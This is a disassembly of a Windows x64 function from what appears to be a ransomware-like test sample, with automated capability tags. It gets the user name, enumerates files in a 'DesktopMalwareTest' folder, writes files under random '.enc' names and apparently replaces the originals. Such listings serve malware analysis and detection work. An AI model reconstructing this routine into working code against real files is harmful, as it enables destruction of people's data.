Function at 0x140002fb0
Capabilities:
Check for sandbox username or hostname
Encode data using xor
Generate random numbers using a mersenne twister
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1e00
call fcn.140007bf0
sub rsp, rax
movaps xmmword [rsp + 0x1df0], xmm6
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x1de8], rax
xor esi, esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x130], 0x101
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x1bd0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rsi
lea rax, [rsp + 0x1bd0]
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp word [rax + r8*2], si
jne 0x140003045
lea rdx, [rsp + 0x1bd0]
lea rcx, [rsp + 0x80]
call fcn.140005a00
nop
mov r8, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x14000312c
lea rax, [r8 + 9]
mov qword [rsp + 0x90], rax
lea r14, [rsp + 0x80]
cmp rcx, 7
cmova r14, qword [rsp + 0x80]
lea rax, [0x1400097e2]
lea r12, str.c:users_
cmp rax, r14
jbe 0x1400030dc
lea rax, [r14 + r8*2]
cmp r12, rax
ja 0x1400030dc
mov edi, 9
cmp r14, r12
ja 0x1400030d1
mov r15, rsi
jmp 0x1400030e4
mov r15, r14
sub r15, r12
sar r15, 1
jmp 0x1400030e4
mov edi, 9
mov r15d, edi
lea rcx, [r14 + 0x12]
lea r8, [r8*2 + 2]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r12
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [r15 + 9]
lea rdx, [r12 + rdx*2]
lea rcx, [rbx + r14]
sub rdi, r15
lea r8, [rdi + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x80]
jmp 0x140003145
mov edi, 9
mov qword [rsp + 0x28], rdi
mov edx, edi
lea rcx, [rsp + 0x80]
call fcn.140006520
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, rdi
cmp rax, 0x14
jb 0x1400031c7
lea rax, [rdi + 0x14]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 7
cmova rbx, qword [rsp + 0x60]
lea rcx, [rbx + rdi*2]
mov r8d, 0x28
lea rdx, str.DesktopMalwareTest
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x28], si
lea rax, [rsp + 0x60]
jmp 0x1400031e6
mov qword [rsp + 0x20], 0x14
lea r9, str.DesktopMalwareTest
mov edx, 0x14
lea rcx, [rsp + 0x60]
call fcn.140005820
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
mov qword [rsp + 0x188], rsi
mov qword [rsp + 0x190], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x188], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000326c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003267
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003267
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], si
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x1400032ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 7
mov word [rsp + 0x80], si
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 7
cmova rdx, qword [rsp + 0x178]
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], rsi
mov r8, qword [rsp + 0x188]
lea rcx, [rsp + 0x138]
call fcn.140005a00
mov r14d, 0xf00
mov dword [rsp + 0x30], r14d
xorps xmm6, xmm6
movdqa xmmword [rsp + 0x110], xmm6
xor r8d, r8d
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x2f0]
call fcn.140002b00
nop
cmp byte [rsp + 0x568], 0
je 0x1400033d5
mov ecx, 0x58
call fcn.140006dc0
mov rdi, rax
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
lea rdx, [rsp + 0x2f0]
mov rcx, rbx
call fcn.140002e10
nop
mov r14d, 0x1f00
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rdi
movdqa xmm6, xmmword [rsp + 0x110]
jmp 0x1400033e6
xorps xmm0, xmm0
psrldq xmm0, 8
movq qword [rsp + 0x118], xmm0
mov ebx, dword [rsp + 0x56c]
mov rcx, qword [rsp + 0x310]
call fcn.140006c8c
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x140003445
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003440
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003440
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0x300], rsi
mov qword [rsp + 0x308], 7
mov word [rsp + 0x2f0], si
test ebx, ebx
jne 0x140003e65
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1c8], xmm1
movups xmmword [rsp + 0x120], xmm0
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x14000349f
lock inc dword [rcx + 8]
movdqa xmm6, xmmword [rsp + 0x110]
mov r14d, dword [rsp + 0x30]
movdqa xmmword [rsp + 0x120], xmm6
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x1400034be
lock inc dword [rcx + 8]
mov r14d, dword [rsp + 0x30]
movups xmmword [rsp + 0x1b8], xmm0
mov qword [rsp + 0x1b8], rsi
mov r12, rsi
mov qword [rsp + 0x1c0], rsi
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x140003523
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000351e
mov rbx, qword [rsp + 0x118]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000351e
mov rcx, qword [rsp + 0x118]
mov rax, qword [rcx]
call qword [rax + 8]
mov r14d, dword [rsp + 0x30]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rdi, qword [rsp + 0x120]
cmp rdi, r12
je 0x140003cef
movaps xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movaps xmmword [rsp + 0x1b50], xmm0
movaps xmm1, xmmword [0x140009730]
movaps xmmword [rsp + 0x1b60], xmm1
movaps xmm0, xmmword [0x140009740]
movaps xmmword [rsp + 0x1b70], xmm0
movaps xmm1, xmmword [0x140009750]
movaps xmmword [rsp + 0x1b80], xmm1
movaps xmm0, xmmword [0x140009760]
movaps xmmword [rsp + 0x1b90], xmm0
movaps xmm1, xmmword [0x140009770]
movaps xmmword [rsp + 0x1ba0], xmm1
movaps xmm0, xmmword [0x140009780]
movaps xmmword [rsp + 0x1bb0], xmm0
movsd xmm0, qword [0x140009790]
movsd qword [rsp + 0x1bc0], xmm0
mov eax, dword [0x140009798]
mov dword [rsp + 0x1bc8], eax
movzx eax, word [0x14000979c]
mov word [rsp + 0x1bcc], ax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1b44], 0xffffffff
mov dword [rsp + 0x7c4], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x7c4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400035f0
mov dword [rsp + 0x7c0], 0x270
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov edx, 7
mov qword [rsp + 0x58], rdx
mov word [rsp + 0x40], si
or r14d, 1
mov dword [rsp + 0x30], r14d
mov rbx, rsi
cmp rbx, 0x1f
jae 0x1400036c5
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0xc0], rax
mov edx, 0x3f
lea rcx, [rsp + 0xc0]
call fcn.1400066d0
movzx r9d, word [rsp + rax*2 + 0x1b50]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
jae 0x1400036b1
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 7
cmova rax, qword [rsp + 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
inc rbx
mov rdx, qword [rsp + 0x58]
jmp 0x140003645
lea rcx, [rsp + 0x40]
call fcn.140005500
inc rbx
mov rdx, qword [rsp + 0x58]
jmp 0x140003645
mov r8, qword [rsp + 0x50]
mov rax, rdx
sub rax, r8
lea rcx, [rsp + 0x40]
cmp rax, 4
jb 0x140003706
lea rax, [r8 + 4]
mov qword [rsp + 0x50], rax
cmp rdx, 7
cmova rcx, qword [rsp + 0x40]
mov rax, qword [str..enc]
mov qword [rcx + r8*2], rax
mov word [rcx + r8*2 + 8], si
lea rax, [rsp + 0x40]
jmp 0x140003720
mov qword [rsp + 0x20], 4
lea r9, str..enc
mov edx, 4
call fcn.140005820
xorps xmm0, xmm0
movups xmmword [rsp + 0x158], xmm0
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x170], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x168], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
or r14d, 2
and r14d, 0xfffffffe
mov dword [rsp + 0x30], r14d
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400037b3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], si
lea rdx, [rsp + 0x158]
cmp qword [rsp + 0x170], 7
cmova rdx, qword [rsp + 0x158]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], rsi
mov r8, qword [rsp + 0x168]
lea rcx, [rsp + 0xa0]
call fcn.140005a00
or r14d, 0xc
mov dword [rsp + 0x30], r14d
lea rbx, [rdi + 0x20]
mov r10, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000382a
mov r10, qword [rbx]
mov rax, qword [rbx + 0x10]
lea rdx, [r10 + rax*2]
mov rcx, r10
call fcn.140001920
cmp rax, rdx
je 0x1400038ac
nop
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x14000384f
cmp cx, 0x2f
jne 0x140003858
add rax, 2
cmp rax, rdx
jne 0x140003840
cmp rax, rdx
je 0x1400038ac
nop dword [rax]
lea r8, [rdx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x14000387e
cmp cx, 0x2f
je 0x14000387e
mov rdx, r8
cmp rax, r8
jne 0x140003860
jmp 0x1400038ac
cmp rax, rdx
je 0x1400038ac
nop dword [rax]
nop word [rax + rax]
lea r8, [rdx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x1400038a4
cmp cx, 0x2f
jne 0x1400038ac
mov rdx, r8
cmp rax, r8
jne 0x140003890
sub rdx, r10
sar rdx, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rsi
mov r8, rdx
mov rdx, r10
lea rcx, [rsp + 0xd0]
call fcn.140005a00
or r14d, 0x70
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x198]
call fcn.140001cc0
nop
mov rdx, qword [rsp + 0xe8]
cmp rdx, 7
jbe 0x140003953
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000394d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000394d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x14000399e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003999
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003999
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], 7
mov word [rsp + 0xa0], si
lea rdx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 7
cmova rdx, qword [rsp + 0x198]
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1400039e1
mov rcx, qword [rbx]
call fcn.140006d20
test eax, eax
jne 0x140003e75
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x1e0]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbx + 0x18], 7
jbe 0x140003a0d
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x1e0]
call fcn.1400062b0
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1e0], r15
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x1dc], edx
lea rdx, str._:D
lea rcx, [rsp + 0x1e0]
call fcn.1400051e0
lea rcx, [rsp + 0x1e8]
call fcn.140004f30
test rax, rax
jne 0x140003a95
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1e0], r15
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x1dc], edx
lea rbx, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x1e8], rbx
cmp qword [rsp + 0x268], 0
je 0x140003b1b
mov rax, qword [rsp + 0x200]
lea rcx, [rsp + 0x258]
cmp qword [rax], rcx
jne 0x140003b1b
mov rdx, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x270]
mov qword [rax], rcx
mov rax, qword [rsp + 0x220]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x238]
mov dword [rax], edx
cmp byte [rsp + 0x264], 0
je 0x140003b32
lea rcx, [rsp + 0x1e8]
call fcn.140004f30
lea rcx, [rsp + 0x1e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x288]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 7
jbe 0x140003ba9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ba4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ba4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0x1a8], rsi
mov qword [rsp + 0x1b0], 7
mov word [rsp + 0x198], si
mov rdx, qword [rsp + 0x170]
cmp rdx, 7
jbe 0x140003c11
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
nop
jmp 0x140003c30
lea rdx, [rsp + 0x570]
mov rcx, qword [rdi + 0x40]
call fcn.140006c6c
cmp eax, 0x12
je 0x140003c8c
test eax, eax
jne 0x140003e88
cmp word [rsp + 0x59c], 0x2e
jne 0x140003c77
movzx eax, word [rsp + 0x59e]
test ax, ax
je 0x140003c30
cmp ax, 0x2e
jne 0x140003c77
cmp word [rsp + 0x5a0], 0
je 0x140003c30
lea rdx, [rsp + 0x570]
mov rcx, rdi
call fcn.140002ca0
jmp 0x140003532
mov rdi, rsi
mov qword [rsp + 0x120], rsi
mov rbx, qword [rsp + 0x128]
mov qword [rsp + 0x128], rsi
test rbx, rbx
je 0x140003532
mov eax, r13d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140003cd2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
je 0x140003cdc
mov r14d, dword [rsp + 0x30]
jmp 0x14000352a
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov r14d, dword [rsp + 0x30]
jmp 0x14000352a
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x140003d35
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140003d35
mov rbx, qword [rsp + 0x128]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140003d35
mov rcx, qword [rsp + 0x128]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x140003d7a
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140003d7a
mov rbx, qword [rsp + 0x118]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r13d
cmp r13d, 1
jne 0x140003d7a
mov rcx, qword [rsp + 0x118]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 7
jbe 0x140003dc5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003dc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003dc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], 7
mov word [rsp + 0x138], si
mov rdx, qword [rsp + 0x190]
cmp rdx, 7
jbe 0x140003e2c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006fb0
xor eax, eax
mov rcx, qword [rsp + 0x1de8]
xor rcx, rsp
call fcn.140006da0
lea r11, [rsp + 0x1e00]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea r8, [rsp + 0x138]
mov edx, ebx
call fcn.140002a10
nop
lea r9, [rsp + 0x198]
mov r8, rbx
mov edx, eax
call fcn.140002a80
nop
mov edx, eax
call fcn.140002920
int3